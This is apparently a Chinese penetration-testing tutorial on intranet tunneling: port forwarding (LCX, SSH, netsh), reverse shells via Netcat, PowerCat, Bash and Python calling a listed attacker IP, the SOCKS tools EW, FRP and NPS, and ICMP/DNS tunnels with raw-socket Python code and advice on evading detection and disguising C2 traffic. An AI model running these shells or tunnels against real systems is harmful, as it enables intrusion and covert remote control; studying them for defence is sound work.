内网隧道代理(初级)

最后更新于 2025-05-05 429 次阅读


0x00 前言

内网隧道代理是内网渗透的重要一环

在进行渗透测试时,常常需要通过边界主机进入内网,然后利用该主机作为跳板进行横向渗透。然而,内网环境通常非常复杂,且部署了大量的安全设备。在没有足够的了解和权限的情况下,访问许多系统会受到各种限制和阻碍。因此,使用代理来突破这些限制变得至关重要。在不同的网络环境下,选择和使用适当的代理工具非常关键,隧道技术包含很多种类,有TCP隧道,HTTP隧道,DNS隧道,SOCKS隧道,ICMP隧道等,还会有很多概念比如端口转发,端口映射,多级代理等

0x01 LCX端口转发

环境:

机器名称 机器IP

攻击者VPS 8.134.70.73

内网攻击者机器 192.168.0.2

内网靶机 192.168.99.134

实现目标

  • Web服务器:内网机器,开放80端口,但3389端口(RDP)被防火墙禁止出站。
  • VPS:具有公网IP的服务器,开放端口(如53、1111),用于流量中转。
  • 攻击者:通过连接VPS的1111端口,间接访问Web服务器的3389端口。

首先,在我们本地机器上监听53端口

方便一点直接在阿里云监听本地53端口并且转发到本地1111端口

./portmap -m 2 -p1 53 -p2 1111

在内网靶机

lcx -slave 8.134.70.73 53 127.0.0.1 3389

阿里云那里可以看见监听成功

尝试连接

0x02 SSH端口转发

场景拓扑

  • 攻击者:位于公网,无法直连内网机器B/C
  • 机器B:已被攻陷的内网主机,可访问机器C(如SSH可达)
  • 机器C:目标内网机器,运行SSH服务(端口22)

原理:通过SSH建立反向隧道,将Web服务器的3389端口绑定到VPS的1111端口。

SSH转发常用的参数介绍:

-C 请求压缩所有数据

-D 动态转发、即socks代理

-f 后台执行SSH指令

-g 允许远程主机连接主机的转发端口

-L 本地转发

-N 不执行远程指令,处于等待状态

-R 远程转发

机器名称 机器IP

攻击者VPS 192.168.99.137 Ubuntu

内网攻击者机器 192.168.0.2 win11

内网靶机 192.168.99.134 win7

流程还是比较简单的 就是将Web服务器的3389端口绑定到VPS的1111端口

ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP

ssh -CfNg -L 1111:192.168.99.134:3389 192.168.99.137

后面同上

类似的,ssh还有反向转发

ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP

还有SSH动态转发

动态转发类似SOCKS代理,不仅仅是针对么某一个端口进行转发,这个我们讲到代理在说

0x03 NETSH端口转发

netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问 运行这个工具需要管理员的权限

现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的

netsh命令进行端口转发访问机器C,这里注意只能访问端口

机器名称 机器IP

机器A 192.168.0.2 win11

机器B 192.168.99.134 win7

机器C 8.134.70.73 阿里云(centos)

在B上执行如下的命令(只有管理员才能执行哦)

netsh interface portproxy add v4tov4 listenaddress=192.168.99.134 
listenport=9999 connectport=22 connectaddress=8.134.70.73
查看是否开启转发
netsh interface portproxy show v4tov4

在攻击机器A上运行连接靶机C的端口

ssh root@192.168.99.134 -p 9999

删除转发如下

netsh interface portproxy delete v4tov4 listenaddress=8.134.70.73 listenport=9999

0x04 Netcat反弹Shell

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、 反弹Shell、端口监听和文件传输等操作,常用参数如下:

机器名称 机器IP

攻击机A 192.168.0.2 win11

靶机B 8.134.70.73 阿里云(centos)

攻击者机器 和靶机可以相互的访问,这个时候可以使用正向shell

在靶机上运行:

nc -lvvp 1111 -e C:\Windows\System32\cmd.exe ###windows机器 

nc -lvvp 1111 -e /bin/bash ####linux机器

在攻击机上运行

nc 8.134.70.73 1111

反向反弹Shell

上面图片箭头相反

攻击者机器(阿里云)不能直接访问靶机(win11),但是靶机可以访问攻击者的机器, 这个时候使用反向shell

机器名称 机器IP

攻击机A 8.134.70.73 阿里云(centos)

靶机B 192.168.0.2 win11

在攻击者机器运行
nc -lvvp 1111 监听1111端口
在靶机上运行 (反弹到公网)
nc -e C:\Windows\System32\cmd.exe 8.134.70.73 1111 windos机器
nc -e /bin/bash 8.134.70.73 1111 linux机器

也是拿到shell,虽然有点乱码,但是可以通过其他方式更改,这里不演示

Nc的其他用法

Banner 的抓取

靶机运行着ssh服务,可以查看服务的版本

nc -nv IP Port

端口探测

可以查看端口的开放情况

nc -v IP Port

多端口扫描:

nc -v -z IP Port[1]-Port[65535]

监听端口,当访问该端口会输出该信息

nc -l -p Port

文件传输

接受端:nc -lp Port > file

发送端:nc -vn IP Port < file -q 1 (windows是-z,Linux是-q)

简易聊天

1、vps执行 nc -l -p Port

2、靶机执行:nc -vn IPPort

连接远程主机

命令 nc -nvv IP port

还有其他的可以自己查

0x05 PowerCat反弹Shell

PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀,可以看成ncat的powershell的实现,然后里面也 加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等

1、下载地址

https://github.com/besimorhino/powercat

2、下载下来导入

Import-Module .\powercat.ps1

3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码

Set-ExecutionPolicy Unrestricted

4、输入如下命令可以查看帮助信息

powercat -h

5、如下就是安装成功

PowerCat命令-l监听连接 -c连接到侦听器 -p要连接或监听的端口 -e执行 -ep执行Powershell -r中继。格式:“-r tcp:10.1.1.1:443” -u通过UDP传输数据 -dns通过dns传输数据 -dnsft DNS故障阈值 -t超时选项。默认值:60 -I输入:文件路径(字符串),字节数组或字符串 -o控制台输出类型:“主机”,“字节”或“字符串” -of输出文件路径 -d连接后断开连接 -rep中继器。断开连接后重新启动 -g生成有效载荷 -ge生成编码的有效载荷 -h打印帮助消息

PowerCat命令
-l监听连接 
-c连接到侦听器 
-p要连接或监听的端口 
-e执行 
-ep执行Powershell 
-r中继 格式:“-r tcp:10.1.1.1:443” 
-u通过UDP传输数据 
-dns通过dns传输数据 
-dnsft DNS故障阈值 
-t超时选项。默认值:60 
-I输入:文件路径(字符串),字节数组或字符串 
-o控制台输出类型:“主机”,“字节”或“字符串” 
-of输出文件路径 -d连接后断开连接 -rep中继器。断开连接后重新启动 
-g生成有效载荷 
-ge生成编码的有效载荷 
-h打印帮助消息

机器名称 机器IP

攻击机A 192.168.0.2 win11

靶机B 192.168.99.134 win7

PowerCat和nc正向连接

靶机使用powercat执行以下命令
powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令

nc 192.168.99.134 8080 -vv

PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令
powercat -c 192.168.3.6 -p 9999 -v -ep
2、攻击机使用powercat执行以下命令
powercat -l -p 9999 -v
PowerCat文件传输
1、靶机使用powercat执行以下命令
powercat -l -p 9999 -of test.txt -v
2、攻击机使用powercat执行以下命令
powercat -c 192.168.3.10 -p 9999 -i D:test.txt -v
///
用powercat生成payload
1、攻击机使用powercat执行以下命令生成payloadpayload 
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
2、攻击机使用powercat执行以下命令连接
powercat -c 192.168.3.10 -p 8000 -v
3、在靶机上运行脚本
.\shell.ps1

0x06 Bash反弹shell

Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

 Bash 反弹Shell的命令如下:

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

"bash-i"是指打开一个交互式的Shell。 "&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重 定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数 字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是 指标准输出重定向, “2”是指错误输出重定向。

"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当 于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误 输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命 令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出 重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以 看到命令执行结果输出

机器名称 机器IP

攻击机A 8.134.70.73 阿里云(centos)

靶机B 192.168.99.137 Ubuntu

1、攻击机器使用nc执行监听命令
nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP
2、实验靶机执行连接命令
bash -i >&/dev/tcp/8.134.70.73/9999 0>&1

0x07 Python 反弹Shell

Python 反弹Shell

Python反弹Shell介绍

python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

机器名称 机器IP

攻击机A 8.134.70.73 阿里云(centos)

靶机B 192.168.99.137 Ubuntu

1、攻击机器使用nc执行监听命令

nc -lvvp 1111 监听 TCP

2、实验靶机执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.70.73",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x08 内网代理介绍

内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果你不打内网一般是不需要这种技术 的,内网代理技术一般也是采用http或者socks代理

1、直接使用web服务进行扫描

2、做代理让web服务成为代理机器 针对于内网的机器要考虑是用代理隧道还是使用端口转发 在这种情况需要用什么工具走代理呢?

1、扫描工具

2、浏览器

3、burp

使用代理一般是用http代理或者socks代理代理

linux工具下一般使用命令行工具proxychains

如果是windows是proxyifile工具

0x09 应用层代理-EW

Earthworm简称EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功 能,可在复杂网络环境下完成网络穿透 该工具已经停止维护和下载:http://rootkiter.com/EarthWorm/

该工具支持端口转发,正向代理,反向代理,多级代理等方式,可以打通一条网络隧道,直达网络深 处,用蚯蚓独有的手段突破网络限制

EW一级代理(正向)

机器名称 机器IP

攻击机A 192.168.0.2 win11

靶机B 8.134.70.73 阿里云(centos)

首先阿里云启动服务

ew -s ssocksd -l 1080

win配置代理

通过访问ip,可以看见解析为阿里云IP地址

EW一级代理(反向)

适用于目标没有公网IP情况

(二级代理)正向连接

1、web服务器在公网黑客可以访问

2、B机器在内网黑客不能访问

3、web服务器只能访问B机器

4、B机器可以访问内网机器 这种昂情况使用二级正向代理

注意,B是IP

(二级代理)反向连接

1、web服务器在内网可以访问VPS

2、内网机器B在内网不能访问VPS可以访问web服务

0x010 FRP代理

FRP (Fast Reverse Proxy) 是一个使用 Go 语言开发的高性能的反向代理应用,可以轻松地进行内网穿 透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,他支持点对点的转发,还有 全流量转发,FRP最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的 隧道,可以把外网的流量,通过加密隧道穿透到内网。效果有些类似于VPN。

下载地址:https://github.com/fatedier/frp/releases

FRP分为两个文件

将 frps 及 frps.toml 放到具有公网 IP 的机器上。 将 frpc 及 frpc.toml 放到处于内网环境的机器上。

机器名称 机器IP

攻击机A 192.168.0.2 win11

靶机B 8.134.70.73 阿里云(centos)

小提示:arch查看适合什么版本的

以阿里云(当作web服务器)开启服务

在win11连接

frp p2p 点对点转发

将3389转发到VPS的6000端口

机器名称 机器IP

攻击机A 192.168.0.2 win11

VPS 8.134.70.73 阿里云(centos)

内网机器OA 192.168.99.135 win10

目标:内网机器的3389

VPS搭建服务端

win10搭建客户端实现端口转发

连接显示成功

利用这内网穿透特性,可以将某些服务映射公网(如 公司内网ssh穿透到公网,实现远程连接等待)

frp搭建socks隧道和多级隧道

改配置文件,比较简单

多级隧道是一个socks代理加一个P2P端口转发

内网机器1(最深) -->(socks)-->内网机器2--->(P2P)--->VPS--->黑客机器

0x11 NPS代理

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任 何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等 等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端

并且,NPS是很多公司使用内网穿透的一种方式,比如说将公司重要系统(资金,用户信息之类的)会放在公司机房,而不是阿里云之类的,但是如果想通过外网访问,可以通过NPS内网穿透映射到公网

相比于frp.感觉还是NPS更加好用

使用方法,在公网启动服务端

进入web管理界面

xxx.xxx.xxx.xxx:8080

先进行添加客户端

在目标主机运行客户端命令

VPS--> win11-->TCP-->win10(内网)

也可以选择socks之类的

了解更多可以看

使用手册:https://ehang-io.github.io/nps/#/

0x12 上线不出网机器

情况分类

上线不出网机器一般是指B区域的电脑上线到CS工具或者MSF上,因为B机器不出网无法和VPS进行通信

针对B区域不出网的机器一般是2中情况

1、纯内网环境,任何端口都不出网

2、只有特定的端口可以出网

针对A区域出网的机器也有如下的情况(中转机器或者是跳板机)

1、A区域的机器可以出网

2、A区域只有特定的端口可以出网

后续要用到端口复用技术和代理技术

后续专门写一篇关于上线不出网机器文章

0x13 ICMP隧道

ICMP(InternetControl MessageProtocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协 议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可 用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用

主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下
类型
3 终点不可达
11 时间超过
12 参数问题
5 改变路由
8或0 回送请求或回答
13或14 时间戳请求或回答
代码
进一步区分某种类型中的几种不同情况。
检验和用于检验整个ICMP报文。但是IP首部检验和并不检验IP数据报的内容,因此不能保证经过传输的ICMP
报文不产生差错。
ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文

Windows机器qing的内容是abcd.............hi (默认固定格式)

返回形式报文

Linux系统报文

so 我们可以通过Data封装内容实现ICMP传输数据

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很 高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检 测系统的阻拦。

优点:

1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限

3.使用自定义加密方式(异或之类的)

ICMP隧道实验

反弹shell

ICMP做隧道一般有这么几种,一种是反弹shell 的形式

icmpsh使用简单,使用的是python,项目地址:https://github.com/bdamele/icmpsh

该工具安装起来比较复杂,使用的是python2 (装不了一点,10年前的工具了,好多报错QWQ,而且是明文传输数据,不想浪费时间搞这个工具了,意义不打)

也可以自己通过python代码实现(SOCKTE网络编程)

发送端代码(封装数据并发送ICMP请求)

import os
import socket
import struct
import sys

def checksum(data):
    """计算ICMP校验和"""
    sum = 0
    for i in range(0, len(data), 2):
        sum += (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
    sum = (sum >> 16) + (sum & 0xffff)
    sum += sum >> 16
    return ~sum & 0xffff

def send_icmp_tunnel(dest_ip, payload):
    # 创建原始套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    
    # 构造ICMP头
    icmp_type = 8  # 8=请求, 0=应答
    icmp_code = 0
    icmp_id = os.getpid() & 0xffff  # 使用进程ID作为标识符
    icmp_seq = 1
    
    # 封装数据
    header = struct.pack('!BBHHH', icmp_type, icmp_code, 0, icmp_id, icmp_seq)
    data = payload.encode()
    
    # 计算校验和
    chk = checksum(header + data)
    header = struct.pack('!BBHHH', icmp_type, icmp_code, chk, icmp_id, icmp_seq)
    
    # 发送数据包
    sock.sendto(header + data, (dest_ip, 1))
    print(f"[+] Sent {len(payload)} bytes to {dest_ip}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: sudo python3 sender.py <目标IP> <消息>")
        sys.exit(1)
    dest_ip = sys.argv[1]
    payload = sys.argv[2]
    send_icmp_tunnel(dest_ip, payload)

接收端代码(监听并提取ICMP数据)

import socket
import struct

def recv_icmp_tunnel():
    # 创建原始套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    
    while True:
        # 接收数据包(包括IP头)
        packet, addr = sock.recvfrom(1024)
        
        # 解析IP头(前20字节)
        ip_header = packet[:20]
        iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
        protocol = iph[6]
        src_ip = socket.inet_ntoa(iph[8])
        
        if protocol != socket.IPPROTO_ICMP:
            continue
        
        # 解析ICMP头(IP头之后)
        icmp_header = packet[20:28]
        icmph = struct.unpack('!BBHHH', icmp_header)
        
        # 过滤ICMP请求(类型8)
        if icmph[0] == 8:
            # 提取数据部分(从第28字节开始)
            data = packet[28:]
            print(f"\n[+] Received from {src_ip}: {data.decode()}")

# 启动监听
recv_icmp_tunnel()

关键注意事项

  1. 权限要求:需要root权限运行(因使用原始套接字)
  2. 系统兼容性:代码基于Linux/Unix系统,Windows需使用WinPcap等库
  3. 防火墙设置:确保允许ICMP流量通过
  4. 数据封装:示例仅处理ASCII文本,二进制数据需额外处理
  5. 隐蔽性增强:实际应用中需添加:
    • 数据加密(如AES)
    • 分片处理(应对MTU限制)
    • 随机延时(规避流量分析)
  6. 法律风险:ICMP隧道可能违反网络安全策略,仅限授权环境使用

完整实现还需处理:序列号管理、错误处理、多线程收发等复杂逻辑。建议参考开源项目(如ptunnel、icmptunnel)获取更完整实现

第二个工具

搭建隧道

ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel

中国人写的就是好啊.....

这里在阿里云搭建服务端

win10搭建客户端

开启服务端,在VPS执行

pingtunnel -type server

开启开启转发的命令

pingtunnel.exe -type client -l :9999 -s 8.134.70.73 -t 8.134.70.73:7777 
-tcp 1 #将来自和本地9999端口连接的流量,转发给118.178.134.226的7777端口(隧道),然后我们就可以创建一个CS的监听器完成操作(CS上线)

注意:要管理员权限,在实战中用什么方式使用就仁者见仁智者见智

网络环境假设:目标机器仅允许 ICMP 出站,HTTP 流量被严格过滤

    流量抓包

    提高隐蔽性:设置 HTTP Port (C2) 为常见端口(如 443),模仿 HTTPS 流量在 C2 服务器使用合法域名(如 api.example.com),配置 HTTP Host Header 为该域名....(网上挺多的)

    0x14 DNS隧道

    域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映 射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一 级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地 址,DNS除了提供主机名到IP地址转换外,还提供如下服务:主机别名、邮件服务器别名、负载分配等

    DNS 定义了两种报文 ,一种为查询报文;另一种是对查询报文的响应,称为响应报文。无论是查询报 文还是响应报文

    ID:由生成DNS查询的程序指定的16位的标志符。该标志符也被随后的应答报文所用,申请者利用这个标志将
    应答和原来的请求对应起来.
    flags:标志位,标记查询/应答,查询类型,截断,递归查询等等
    
    type:DNS记录类型,常用的有:
    
       A:A记录,指向别名或IP地址。
    
       NS:解析服务器记录。
    
       MX:邮件交换记录。
    
       CNAME:别名。
    
       AAAA:IPv6地址解析。
    
       txt:为某个主机名或域名设置的说明。
    
       PTR:指针记录,PTR记录是A记录的逆向记录。
    
       SOA:标记一个区的开始,起始授权机构记录

    PING一下百度看看一看流量,指向你的网关(我这里是8.8.8.8)

    DNS传输方式:通过传输格式可以发现,在头部地方存在严格的字符大小规定,那么,只能通过请求(queries)来传输数据,通过name进行拼接传输如 (Name: xxxxxxx(传输内容如whoami).dns.google)这种方式等...

    总结:方法是多样的,适合自己的是最好的,还是得多练

    声明:仅供学习参考